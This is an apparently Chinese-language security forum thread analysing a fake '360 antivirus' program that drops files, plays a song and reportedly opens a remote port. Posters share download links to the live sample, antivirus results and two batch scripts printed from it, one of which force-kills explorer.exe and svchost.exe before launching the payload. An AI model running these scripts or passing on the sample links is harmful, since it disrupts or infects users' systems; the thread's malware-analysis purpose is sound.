我又發現一個假360防毒 真病毒 還播放了病名為愛歌曲!!

a7878330

我這次在某網站發現這個惡意軟體希望各位大神幫我分析看看!!
-----------------------------------------------------------------
載1:http://www.funp.net/504883
載2:https://www.sendspace.com/file/o5kz8f

a7878330

補充:https://www.virustotal.com/zh-cn ... nalysis/1543027551/

線上掃描報告

静影沉璧

EMSI： Behavior.HiddenInstallation



智量扫描：miss



约半小时后：智量报RiskTool.Generic  

a7878330

這是我把病毒內的音樂想辦法用出來的
http://www.funp.net/508911

www-tekeze

火绒miss，智量kill，准备双击。。

BE_HC

生成了几个文件在Temp下
Norton MISS
CCAV MISS
开了个远程端口

1. [url=home.php?mod=space&uid=500624]@Shift[/url] /0
   
2. [url=home.php?mod=space&uid=331734]@echo[/url] off
   
3. cls
   
4. cd /d "%~dp0"
   
5. taskkill /f /im explorer.exe
   
6. ping -a 163.16.56.250
   
7. taskkill /f /im svchost.exe
   
8. .\360.exe
   

复制代码

1. @shift /0
   
2. @echo off
   
3. cls
   
4. cd /d "%~dp0"
   
5. .\W.jpg
   
6. .\1.mp3
   
7. .\360.exe
   
8. PAUSE
   

复制代码

275751198

360卫士开伞扫描Miss

Luca.l

FSP

原因： HEUR/APC

www-tekeze

www-tekeze 发表于 2018-11-24 11:14
火绒miss，智量kill，准备双击。。

64位程序，命令行实现，双击后释放三个文件，会自动打开一幅图片，同时自动播放“病名为爱”的歌曲。
不像以前只会调用WMP，这次调用的是默认音频播放器，有进步。。

www-tekeze

a7878330 发表于 2018-11-24 10:54
這是我把病毒內的音樂想辦法用出來的
http://www.funp.net/508911

也就是说这个样本是你制作的，还又发现。。。准备打110 。。